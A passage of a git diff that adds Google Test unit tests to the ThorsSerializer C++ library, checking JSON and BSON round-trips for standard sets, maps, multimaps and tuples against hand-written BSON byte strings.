"4\x00" "\x22\x00\x00\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"([2,8,11,24,34])"); +} + +TEST(SerSetTest, BsonbeSerialize) +{ + std::set data; + + //std::stringstream stream(R"([5,6,8,101,123])"); + static const char inputRaw[] + = "\x28\x00\x00\x00" + "\x10" "0\x00" "\x05\x00\x00\x00" + "\x10" "1\x00" "\x06\x00\x00\x00" + "\x10" "2\x00" "\x08\x00\x00\x00" + "\x10" "3\x00" "\x65\x00\x00\x00" + "\x10" "4\x00" "\x7B\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_TRUE(data.find(5) != data.end()); + EXPECT_TRUE(data.find(6) != data.end()); + EXPECT_TRUE(data.find(8) != data.end()); + EXPECT_TRUE(data.find(101) != data.end()); + EXPECT_TRUE(data.find(123) != data.end()); +} + diff --git a/Extern/include/ThorsSerializer/test/SerTuppleTest.cpp b/Extern/include/ThorsSerializer/test/SerTuppleTest.cpp new file mode 100644 index 0000000..e9a6283 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerTuppleTest.cpp @@ -0,0 +1,66 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +namespace TS = ThorsAnvil::Serialize; + +TEST(SerTuppleTest, Jsonserialize) +{ + std::tuple data {56, 78.901}; + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"([56,78.901])"); +} + +TEST(SerTuppleTest, JsondeSerialize) +{ + std::stringstream stream(R"([59,22.801])"); + std::tuple data {56, 78.925}; + + stream >> TS::jsonImporter(data, false); + EXPECT_EQ(59, std::get<0>(data)); + EXPECT_EQ(22.801, std::get<1>(data)); +} + +TEST(SerTuppleTest, Bsonserialize) +{ + std::tuple data {56, 78.901}; + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x17\x00\x00\x00" + "\x10" "0\x00" "\x38\x00\x00\x00" + "\x01" "1\x00" "\x8b\x6c\xe7\xfb\xa9\xb9\x53\x40" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"([56,78.901])"); +} + +TEST(SerTuppleTest, BsondeSerialize) +{ + //std::stringstream stream(R"([59,22.801])"); + static const char inputRaw[] + = "\x17\x00\x00\x00" + "\x10" "0\x00" "\x3B\x00\x00\x00" + "\x01" "1\x00" "\x93\x18\x04\x56\x0e\xcd\x36\x40" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) + 1); + std::stringstream stream(input); + std::tuple data {56, 78.925}; + + stream >> TS::bsonImporter(data, false); + EXPECT_EQ(59, std::get<0>(data)); + EXPECT_EQ(22.801, std::get<1>(data)); +} + diff --git a/Extern/include/ThorsSerializer/test/SerUnorderedMapTest.cpp b/Extern/include/ThorsSerializer/test/SerUnorderedMapTest.cpp new file mode 100644 index 0000000..65d11f9 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerUnorderedMapTest.cpp @@ -0,0 +1,159 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +namespace TS = ThorsAnvil::Serialize; + +TEST(SerUnorderedMapTest, Jsonserialize) +{ + std::unordered_map data; + data[56] = 78.901; + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"([{"first":56,"second":78.901}])"); +} + +TEST(SerUnorderedMapTest, JsondeSerialize) +{ + std::unordered_map data; + + std::stringstream stream(R"([{"first":64,"second":12}, {"first":118,"second":14}])"); + stream >> TS::jsonImporter(data, false); + + EXPECT_EQ(data[64], 12); + EXPECT_EQ(data[118], 14); +} + +TEST(SerUnorderedMapTest, JsonserializeStringKey) +{ + std::unordered_map data; + data["AStringKey"] = 78.902; + data["TestValue"] = 22.903; + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + bool test = result == R"({"AStringKey":78.902,"TestValue":22.903})" + || result == R"({"TestValue":22.903,"AStringKey":78.902})"; + EXPECT_TRUE(test); +} + +TEST(SerUnorderedMapTest, JsondeSerializeStringKey) +{ + std::unordered_map data; + + std::stringstream stream(R"({"OneFileDay":true, "TheLastStand":false, "OfMiceAndMen":true})"); + stream >> TS::jsonImporter(data, false); + + EXPECT_EQ(data["OneFileDay"], true); + EXPECT_EQ(data["TheLastStand"], false); + EXPECT_EQ(data["OfMiceAndMen"], true); +} + +TEST(SerUnorderedMapTest, Bsonserialize) +{ + std::unordered_map data; + data[56] = 78.901; + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x28\x00\x00\x00" + "\x03" "0\x00" + "\x20\x00\x00\x00" + "\x10" "first\x00" "\x38\x00\x00\x00" + "\x01" "second\x00" "\x8b\x6c\xe7\xfb\xa9\xb9\x53\x40" + "\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"([{"first":56,"second":78.901}])"); +} + +TEST(SerUnorderedMapTest, BsondeSerialize) +{ + std::unordered_map data; + + //std::stringstream stream(R"([{"first":64,"second":12}, {"first":118,"second":14}])"); + static const char inputRaw[] + = "\x43\x00\x00\x00" + "\x03" "0\x00" + "\x1C\x00\x00\x00" + "\x10" "first\x00" "\x40\x00\x00\x00" + "\x10" "second\x00" "\x0C\x00\x00\x00" + "\x00" + "\x03" "0\x00" + "\x1C\x00\x00\x00" + "\x10" "first\x00" "\x76\x00\x00\x00" + "\x10" "second\x00" "\x0E\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_EQ(data[64], 12); + EXPECT_EQ(data[118], 14); +} + +TEST(SerUnorderedMapTest, BsonserializeStringKey) +{ + std::unordered_map data; + data["AStringKey"] = 78.902; + data["TestValue"] = 22.903; + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + static const char expectedRaw1[] + = "\x2C\x00\x00\x00" + "\x01" "TestValue\x00" "\xba\x49\x0c\x02\x2b\xe7\x36\x40" + "\x01" "AStringKey\x00" "\x7d\x3f\x35\x5e\xba\xb9\x53\x40" + "\x00"; + static const char expectedRaw2[] + = "\x2C\x00\x00\x00" + "\x01" "AStringKey\x00" "\x7d\x3f\x35\x5e\xba\xb9\x53\x40" + "\x01" "TestValue\x00" "\xba\x49\x0c\x02\x2b\xe7\x36\x40" + "\x00"; + std::string expected1(std::begin(expectedRaw1), std::end(expectedRaw1) - 1); + std::string expected2(std::begin(expectedRaw2), std::end(expectedRaw2) - 1); + + bool test = result == expected1 + || result == expected2; + //bool test = result == R"({"AStringKey":78.902,"TestValue":22.903})" + // || result == R"({"TestValue":22.903,"AStringKey":78.902})"; + EXPECT_TRUE(test); +} + +TEST(SerUnorderedMapTest, BsondeSerializeStringKey) +{ + std::unordered_map data; + + //std::stringstream stream(R"({"OneFileDay":true, "TheLastStand":false, "OfMiceAndMen":true})"); + static const char inputRaw[] + = "\x30\x00\x00\x00" + "\x08" "OneFileDay\x00" "\x01" + "\x08" "TheLastStand\x00" "\x00" + "\x08" "OfMiceAndMen\x00" "\x01" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_EQ(data["OneFileDay"], true); + EXPECT_EQ(data["TheLastStand"], false); + EXPECT_EQ(data["OfMiceAndMen"], true); +} + diff --git a/Extern/include/ThorsSerializer/test/SerUnorderedMultiMapTest.cpp b/Extern/include/ThorsSerializer/test/SerUnorderedMultiMapTest.cpp new file mode 100644 index 0000000..6a823c6 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerUnorderedMultiMapTest.cpp @@ -0,0 +1,241 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +namespace TS = ThorsAnvil::Serialize; + +TEST(SerUnorderedMultiMapTest, Jsonserialize) +{ + std::unordered_multimap data; + data.insert(std::make_pair(56, 78.901)); + data.insert(std::make_pair(56, 901)); + + std::stringstream stream; + stream << TS::jsonExporter(data); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + bool test = result == R"([{"first":56,"second":78.901},{"first":56,"second":901}])" + || result == R"([{"first":56,"second":901},{"first":56,"second":78.901}])"; + + EXPECT_TRUE(test); +} + +TEST(SerUnorderedMultiMapTest, JsondeSerialize) +{ + std::unordered_multimap data; + + std::stringstream stream(R"([{"first":64,"second":12}, {"first":118,"second":14}, {"first":118,"second": 112}])"); + stream >> TS::jsonImporter(data, false); + + EXPECT_TRUE(data.find(64) != data.end()); + EXPECT_TRUE(data.find(118) != data.end()); + EXPECT_EQ(data.count(118), 2); +} + +TEST(SerUnorderedMultiMapTest, JsonserializeStringKey) +{ + std::unordered_multimap data; + data.insert(std::make_pair("AStringKey", 78.902)); + data.insert(std::make_pair("TestValue", 22.903)); + data.insert(std::make_pair("TestValue", 903)); + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + bool test = result == R"({"AStringKey":78.902,"TestValue":22.903,"TestValue":903})" + || result == R"({"AStringKey":78.902,"TestValue":903,"TestValue":22.903})" + || result == R"({"TestValue":22.903,"AStringKey":78.902,"TestValue":903})" + || result == R"({"TestValue":22.903,"TestValue":903,"AStringKey":78.902})" + || result == R"({"TestValue":903,"AStringKey":78.902,"TestValue":22.903})" + || result == R"({"TestValue":903,"TestValue":22.903,"AStringKey":78.902})"; + + EXPECT_TRUE(test); +} + +TEST(SerUnorderedMultiMapTest, JsondeSerializeStringKey) +{ + std::unordered_multimap data; + + std::stringstream stream(R"({"OneFileDay":true, "TheLastStand":false, "OfMiceAndMen":true, "1":true, "1":false})"); + stream >> TS::jsonImporter(data, false); + + EXPECT_TRUE(data.find("OneFileDay") != data.end()); + EXPECT_TRUE(data.find("TheLastStand") != data.end()); + EXPECT_TRUE(data.find("OfMiceAndMen") != data.end()); + EXPECT_TRUE(data.find("1") != data.end()); + EXPECT_EQ(data.count("1"), 2); +} + +TEST(SerUnorderedMultiMapTest, Bsonserialize) +{ + std::unordered_multimap data; + data.insert(std::make_pair(56, 78.901)); + data.insert(std::make_pair(56, 901)); + + std::stringstream stream; + stream << TS::bsonExporter(data); + std::string result = stream.str(); + + static const char expectedRaw1[] + = "\x4B\x00\x00\x00" + "\x03" "0\x00" + "\x20\x00\x00\x00" + "\x10" "first\x00" "\x38\x00\x00\x00" + "\x01" "second\x00" "\x8b\x6c\xe7\xfb\xa9\xb9\x53\x40" + "\x00" + "\x03" "1\x00" + "\x20\x00\x00\x00" + "\x10" "first\x00" "\x38\x00\x00\x00" + "\x01" "second\x00" "\x00\x00\x00\x00\x00\x28\x8c\x40" + "\x00" + "\x00"; + static const char expectedRaw2[] + = "\x4B\x00\x00\x00" + "\x03" "0\x00" + "\x20\x00\x00\x00" + "\x10" "first\x00" "\x38\x00\x00\x00" + "\x01" "second\x00" "\x00\x00\x00\x00\x00\x28\x8c\x40" + "\x00" + "\x03" "1\x00" + "\x20\x00\x00\x00" + "\x10" "first\x00" "\x38\x00\x00\x00" + "\x01" "second\x00" "\x8b\x6c\xe7\xfb\xa9\xb9\x53\x40" + "\x00" + "\x00"; + std::string expected1(std::begin(expectedRaw1), std::end(expectedRaw1) - 1); + std::string expected2(std::begin(expectedRaw2), std::end(expectedRaw2) - 1); + bool test = result == expected1 || result == expected2; + //bool test = result == R"([{"first":56,"second":78.901},{"first":56,"second":901}])" + // || result == R"([{"first":56,"second":901},{"first":56,"second":78.901}])"; + + EXPECT_TRUE(test); +} + +TEST(SerUnorderedMultiMapTest, BsondeSerialize) +{ + std::unordered_multimap data; + + //std::stringstream stream(R"([{"first":64,"second":12}, {"first":118,"second":14}, {"first":118,"second": 112}])"); + static const char inputRaw[] + = "\x62\x00\x00\x00" + "\x03" "0\x00" + "\x1C\x00\x00\x00" + "\x10" "first\x00" "\x40\x00\x00\x00" + "\x10" "second\x00" "\x0C\x00\x00\x00" + "\x00" + "\x03" "1\x00" + "\x1C\x00\x00\x00" + "\x10" "first\x00" "\x76\x00\x00\x00" + "\x10" "second\x00" "\x0E\x00\x00\x00" + "\x00" + "\x03" "2\x00" + "\x1C\x00\x00\x00" + "\x10" "first\x00" "\x76\x00\x00\x00" + "\x10" "second\x00" "\x70\x00\x00\x00" + "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_TRUE(data.find(64) != data.end()); + EXPECT_TRUE(data.find(118) != data.end()); + EXPECT_EQ(data.count(118), 2); +} + +TEST(SerUnorderedMultiMapTest, BsonserializeStringKey) +{ + std::unordered_multimap data; + data.insert(std::make_pair("AStringKey", 78.902)); + data.insert(std::make_pair("TestValue", 22.903)); + data.insert(std::make_pair("TestValue", 903)); + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + static const char expectedRaw1[] + = "\x3F\x00\x00\x00" + "\x01" "AStringKey\x00" "\x7d\x3f\x35\x5e\xba\xb9\x53\x40" + "\x01" "TestValue\x00" "\xba\x49\x0c\x02\x2b\xe7\x36\x40" + "\x01" "TestValue\x00" "\x00\x00\x00\x00\x00\x38\x8c\x40" + "\x00"; + static const char expectedRaw2[] + = "\x3F\x00\x00\x00" + "\x01" "AStringKey\x00" "\x7d\x3f\x35\x5e\xba\xb9\x53\x40" + "\x01" "TestValue\x00" "\x00\x00\x00\x00\x00\x38\x8c\x40" + "\x01" "TestValue\x00" "\xba\x49\x0c\x02\x2b\xe7\x36\x40" + "\x00"; + static const char expectedRaw3[] + = "\x3F\x00\x00\x00" + "\x01" "TestValue\x00" "\xba\x49\x0c\x02\x2b\xe7\x36\x40" + "\x01" "AStringKey\x00" "\x7d\x3f\x35\x5e\xba\xb9\x53\x40" + "\x01" "TestValue\x00" "\x00\x00\x00\x00\x00\x38\x8c\x40" + "\x00"; + static const char expectedRaw4[] + = "\x3F\x00\x00\x00" + "\x01" "TestValue\x00" "\xba\x49\x0c\x02\x2b\xe7\x36\x40" + "\x01" "TestValue\x00" "\x00\x00\x00\x00\x00\x38\x8c\x40" + "\x01" "AStringKey\x00" "\x7d\x3f\x35\x5e\xba\xb9\x53\x40" + "\x00"; + static const char expectedRaw5[] + = "\x3F\x00\x00\x00" + "\x01" "TestValue\x00" "\x00\x00\x00\x00\x00\x38\x8c\x40" + "\x01" "AStringKey\x00" "\x7d\x3f\x35\x5e\xba\xb9\x53\x40" + "\x01" "TestValue\x00" "\xba\x49\x0c\x02\x2b\xe7\x36\x40" + "\x00"; + static const char expectedRaw6[] + = "\x3F\x00\x00\x00" + "\x01" "TestValue\x00" "\x00\x00\x00\x00\x00\x38\x8c\x40" + "\x01" "TestValue\x00" "\xba\x49\x0c\x02\x2b\xe7\x36\x40" + "\x01" "AStringKey\x00" "\x7d\x3f\x35\x5e\xba\xb9\x53\x40" + "\x00"; + std::string expected1(std::begin(expectedRaw1), std::end(expectedRaw1) - 1); + std::string expected2(std::begin(expectedRaw2), std::end(expectedRaw2) - 1); + std::string expected3(std::begin(expectedRaw3), std::end(expectedRaw3) - 1); + std::string expected4(std::begin(expectedRaw4), std::end(expectedRaw4) - 1); + std::string expected5(std::begin(expectedRaw5), std::end(expectedRaw5) - 1); + std::string expected6(std::begin(expectedRaw6), std::end(expectedRaw6) - 1); + + //bool test = result == R"({"AStringKey":78.902,"TestValue":22.903,"TestValue":903})" + // || result == R"({"AStringKey":78.902,"TestValue":903,"TestValue":22.903})" + // || result == R"({"TestValue":22.903,"AStringKey":78.902,"TestValue":903})" + // || result == R"({"TestValue":22.903,"TestValue":903,"AStringKey":78.902})" + // || result == R"({"TestValue":903,"AStringKey":78.902,"TestValue":22.903})" + // || result == R"({"TestValue":903,"TestValue":22.903,"AStringKey":78.902})"; + bool test = result == expected1 || result == expected2 || result == expected3 + || result == expected4 || result == expected5 || result == expected6; + EXPECT_TRUE(test); +} + +TEST(SerUnorderedMultiMapTest, BsondeSerializeStringKey) +{ + std::unordered_multimap data; + + //std::stringstream stream(R"({"OneFileDay":true, "TheLastStand":false, "OfMiceAndMen":true, "1":true, "1":false})"); + static const char inputRaw[] + = "\x38\x00\x00\x00" + "\x08" "OneFileDay\x00" "\x01" + "\x08" "TheLastStand\x00" "\x00" + "\x08" "OfMiceAndMen\x00" "\x01" + "\x08" "1\x00" "\x01" + "\x08" "1\x00" "\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_TRUE(data.find("OneFileDay") != data.end()); + EXPECT_TRUE(data.find("TheLastStand") != data.end()); + EXPECT_TRUE(data.find("OfMiceAndMen") != data.end()); + EXPECT_TRUE(data.find("1") != data.end()); + EXPECT_EQ(data.count("1"), 2); +} + + diff --git a/Extern/include/ThorsSerializer/test/SerUnorderedMultiSetTest.cpp b/Extern/include/ThorsSerializer/test/SerUnorderedMultiSetTest.cpp new file mode 100644 index 0000000..c08795e --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerUnorderedMultiSetTest.cpp @@ -0,0 +1,221 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +namespace TS = ThorsAnvil::Serialize; + +TEST(SerUnorderedMultiSetTest, Jsonserialize) +{ + std::unordered_multiset data{24,8,11,2,2,2}; + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + bool test = result == R"([2,2,2,8,11,24])" + || result == R"([2,2,8,2,11,24])" + || result == R"([2,2,8,11,2,24])" + || result == R"([2,2,8,11,24,2])" + || result == R"([2,8,2,11,24,2])" + || result == R"([2,8,11,2,24,2])" + || result == R"([2,8,11,24,2,2])" + || result == R"([8,2,11,24,2,2])" + || result == R"([8,11,2,24,2,2])" + || result == R"([8,11,24,2,2,2])" + || result == R"([8,2,2,2,11,24])" + || result == R"([8,2,2,11,2,24])" + || result == R"([8,2,2,11,24,2])" + || result == R"([8,2,11,2,24,2])" + || result == R"([8,11,2,2,2,24])" + || result == R"([8,11,2,2,24,2])" + + || result == R"([2,2,2,8,24,11])" + || result == R"([2,2,8,2,24,11])" + || result == R"([2,2,8,24,2,11])" + || result == R"([2,2,8,24,11,2])" + || result == R"([2,8,2,24,11,2])" + || result == R"([2,8,24,2,11,2])" + || result == R"([2,8,24,11,2,2])" + || result == R"([8,2,24,11,2,2])" + || result == R"([8,24,2,11,2,2])" + || result == R"([8,24,11,2,2,2])" + || result == R"([8,2,2,2,24,11])" + || result == R"([8,2,2,24,2,11])" + || result == R"([8,2,2,24,11,2])" + || result == R"([8,2,24,2,11,2])" + || result == R"([8,24,2,2,2,11])" + || result == R"([8,24,2,2,11,2])" + + || result == R"([2,2,2,11,8,24])" + || result == R"([2,2,11,2,8,24])" + || result == R"([2,2,11,8,2,24])" + || result == R"([2,2,11,8,24,2])" + || result == R"([2,11,2,8,24,2])" + || result == R"([2,11,8,2,24,2])" + || result == R"([2,11,8,24,2,2])" + || result == R"([11,2,8,24,2,2])" + || result == R"([11,8,2,24,2,2])" + || result == R"([11,8,24,2,2,2])" + || result == R"([11,2,2,2,8,24])" + || result == R"([11,2,2,8,2,24])" + || result == R"([11,2,2,8,24,2])" + || result == R"([11,2,8,2,24,2])" + || result == R"([11,8,2,2,2,24])" + || result == R"([11,8,2,2,24,2])" + + || result == R"([2,2,2,24,11,8])" + || result == R"([2,2,24,2,11,8])" + || result == R"([2,2,24,11,2,8])" + || result == R"([2,2,24,11,8,2])" + || result == R"([2,24,2,11,8,2])" + || result == R"([2,24,11,2,8,2])" + || result == R"([2,24,11,8,2,2])" + || result == R"([24,2,11,8,2,2])" + || result == R"([24,11,2,8,2,2])" + || result == R"([24,11,8,2,2,2])" + || result == R"([24,2,2,2,11,8])" + || result == R"([24,2,2,11,2,8])" + || result == R"([24,2,2,11,8,2])" + || result == R"([24,2,11,2,8,2])" + || result == R"([24,11,2,2,2,8])" + || result == R"([24,11,2,2,8,2])" + + || result == R"([2,2,2,11,24,8])" + || result == R"([2,2,11,2,24,8])" + || result == R"([2,2,11,24,2,8])" + || result == R"([2,2,11,24,8,2])" + || result == R"([2,11,2,24,8,2])" + || result == R"([2,11,24,2,8,2])" + || result == R"([2,11,24,8,2,2])" + || result == R"([11,2,24,8,2,2])" + || result == R"([11,24,2,8,2,2])" + || result == R"([11,24,8,2,2,2])" + || result == R"([11,2,2,2,24,8])" + || result == R"([11,2,2,24,2,8])" + || result == R"([11,2,2,24,8,2])" + || result == R"([11,2,24,2,8,2])" + || result == R"([11,24,2,2,2,8])" + || result == R"([11,24,2,2,8,2])" + + || result == R"([2,2,2,24,8,11])" + || result == R"([2,2,24,2,8,11])" + || result == R"([2,2,24,8,2,11])" + || result == R"([2,2,24,8,11,2])" + || result == R"([2,24,2,8,11,2])" + || result == R"([2,24,8,2,11,2])" + || result == R"([2,24,8,11,2,2])" + || result == R"([24,2,8,11,2,2])" + || result == R"([24,8,2,11,2,2])" + || result == R"([24,8,11,2,2,2])" + || result == R"([24,2,2,2,8,11])" + || result == R"([24,2,2,8,2,11])" + || result == R"([24,2,2,8,11,2])" + || result == R"([24,2,8,2,11,2])" + || result == R"([24,8,2,2,2,11])" + || result == R"([24,8,2,2,11,2])"; + EXPECT_TRUE(test); + +} + +TEST(SerUnorderedMultiSetTest, JsondeSerialize) +{ + std::unordered_multiset data; + + std::stringstream stream(R"([5,6,8,8,101,123])"); + stream >> TS::jsonImporter(data, false); + + EXPECT_TRUE(data.find(5) != data.end()); + EXPECT_TRUE(data.find(6) != data.end()); + EXPECT_TRUE(data.find(8) != data.end()); + EXPECT_TRUE(data.find(101) != data.end()); + EXPECT_TRUE(data.find(123) != data.end()); + EXPECT_EQ(data.count(8), 2); +} + +TEST(SerUnorderedMultiSetTest, Bsonserialize) +{ + std::unordered_multiset data{24,8,11}; + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + static const char expectedRaw1[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x18\x00\x00\x00" + "\x10" "1\x00" "\x08\x00\x00\x00" + "\x10" "2\x00" "\x0B\x00\x00\x00" + "\x00"; + static const char expectedRaw2[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x18\x00\x00\x00" + "\x10" "1\x00" "\x0B\x00\x00\x00" + "\x10" "2\x00" "\x08\x00\x00\x00" + "\x00"; + static const char expectedRaw3[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x08\x00\x00\x00" + "\x10" "1\x00" "\x18\x00\x00\x00" + "\x10" "2\x00" "\x0B\x00\x00\x00" + "\x00"; + static const char expectedRaw4[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x08\x00\x00\x00" + "\x10" "1\x00" "\x0B\x00\x00\x00" + "\x10" "2\x00" "\x18\x00\x00\x00" + "\x00"; + static const char expectedRaw5[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x0B\x00\x00\x00" + "\x10" "1\x00" "\x18\x00\x00\x00" + "\x10" "2\x00" "\x08\x00\x00\x00" + "\x00"; + static const char expectedRaw6[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x0B\x00\x00\x00" + "\x10" "1\x00" "\x08\x00\x00\x00" + "\x10" "2\x00" "\x18\x00\x00\x00" + "\x00"; + std::string expected1(std::begin(expectedRaw1), std::end(expectedRaw1) - 1); + std::string expected2(std::begin(expectedRaw2), std::end(expectedRaw2) - 1); + std::string expected3(std::begin(expectedRaw3), std::end(expectedRaw3) - 1); + std::string expected4(std::begin(expectedRaw4), std::end(expectedRaw4) - 1); + std::string expected5(std::begin(expectedRaw5), std::end(expectedRaw5) - 1); + std::string expected6(std::begin(expectedRaw6), std::end(expectedRaw6) - 1); + + bool test = result == expected1 || result == expected2 || result == expected3 + || result == expected4 || result == expected5 || result == expected6; + + EXPECT_TRUE(test); +} + +TEST(SerUnorderedMultiSetTest, BsondeSerialize) +{ + std::unordered_multiset data; + + //std::stringstream stream(R"([5,6,8,8,101,123])"); + static const char inputRaw[] + = "\x2F\x00\x00\x00" + "\x10" "0\x00" "\x05\x00\x00\x00" + "\x10" "1\x00" "\x06\x00\x00\x00" + "\x10" "2\x00" "\x08\x00\x00\x00" + "\x10" "3\x00" "\x08\x00\x00\x00" + "\x10" "4\x00" "\x65\x00\x00\x00" + "\x10" "5\x00" "\x7b\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_TRUE(data.find(5) != data.end()); + EXPECT_TRUE(data.find(6) != data.end()); + EXPECT_TRUE(data.find(8) != data.end()); + EXPECT_TRUE(data.find(101) != data.end()); + EXPECT_TRUE(data.find(123) != data.end()); + EXPECT_EQ(data.count(8), 2); +} + diff --git a/Extern/include/ThorsSerializer/test/SerUnorderedSetTest.cpp b/Extern/include/ThorsSerializer/test/SerUnorderedSetTest.cpp new file mode 100644 index 0000000..ccfc8d3 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerUnorderedSetTest.cpp @@ -0,0 +1,127 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +namespace TS = ThorsAnvil::Serialize; + +TEST(SerUnorderedSetTest, Jsonserialize) +{ + std::unordered_set data{24,11,2}; + + std::stringstream stream; + stream << TS::jsonExporter(data, false); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + // unordered set can print in any order + // so it should be one of these + bool test = result == R"([2,11,24])" + || result == R"([2,24,11])" + || result == R"([11,2,24])" + || result == R"([11,24,2])" + || result == R"([24,2,11])" + || result == R"([24,11,2])"; + + EXPECT_TRUE(test); +} + +TEST(SerUnorderedSetTest, JsondeSerialize) +{ + std::unordered_set data; + + std::stringstream stream(R"([5,6,8,101,123])"); + stream >> TS::jsonImporter(data, false); + + EXPECT_TRUE(data.find(5) != data.end()); + EXPECT_TRUE(data.find(6) != data.end()); + EXPECT_TRUE(data.find(8) != data.end()); + EXPECT_TRUE(data.find(101) != data.end()); + EXPECT_TRUE(data.find(123) != data.end()); +} + +TEST(SerUnorderedSetTest, Bsonserialize) +{ + std::unordered_set data{24,11,2}; + + std::stringstream stream; + stream << TS::bsonExporter(data, false); + std::string result = stream.str(); + + // unordered set can print in any order + // so it should be one of these + static const char expectedRaw1[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x18\x00\x00\x00" + "\x10" "1\x00" "\x0B\x00\x00\x00" + "\x10" "2\x00" "\x02\x00\x00\x00" + "\x00"; + static const char expectedRaw2[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x18\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x0B\x00\x00\x00" + "\x00"; + static const char expectedRaw3[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x0B\x00\x00\x00" + "\x10" "1\x00" "\x18\x00\x00\x00" + "\x10" "2\x00" "\x02\x00\x00\x00" + "\x00"; + static const char expectedRaw4[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x0B\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x18\x00\x00\x00" + "\x00"; + static const char expectedRaw5[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x02\x00\x00\x00" + "\x10" "1\x00" "\x18\x00\x00\x00" + "\x10" "2\x00" "\x0B\x00\x00\x00" + "\x00"; + static const char expectedRaw6[] + = "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x02\x00\x00\x00" + "\x10" "1\x00" "\x0B\x00\x00\x00" + "\x10" "2\x00" "\x18\x00\x00\x00" + "\x00"; + std::string expected1(std::begin(expectedRaw1), std::end(expectedRaw1) - 1); + std::string expected2(std::begin(expectedRaw2), std::end(expectedRaw2) - 1); + std::string expected3(std::begin(expectedRaw3), std::end(expectedRaw3) - 1); + std::string expected4(std::begin(expectedRaw4), std::end(expectedRaw4) - 1); + std::string expected5(std::begin(expectedRaw5), std::end(expectedRaw5) - 1); + std::string expected6(std::begin(expectedRaw6), std::end(expectedRaw6) - 1); + + bool test = result == expected1 || result == expected2 || result == expected3 + || result == expected4 || result == expected5 || result == expected6; + + EXPECT_TRUE(test); +} + +TEST(SerUnorderedSetTest, BsondeSerialize) +{ + std::unordered_set data; + + //std::stringstream 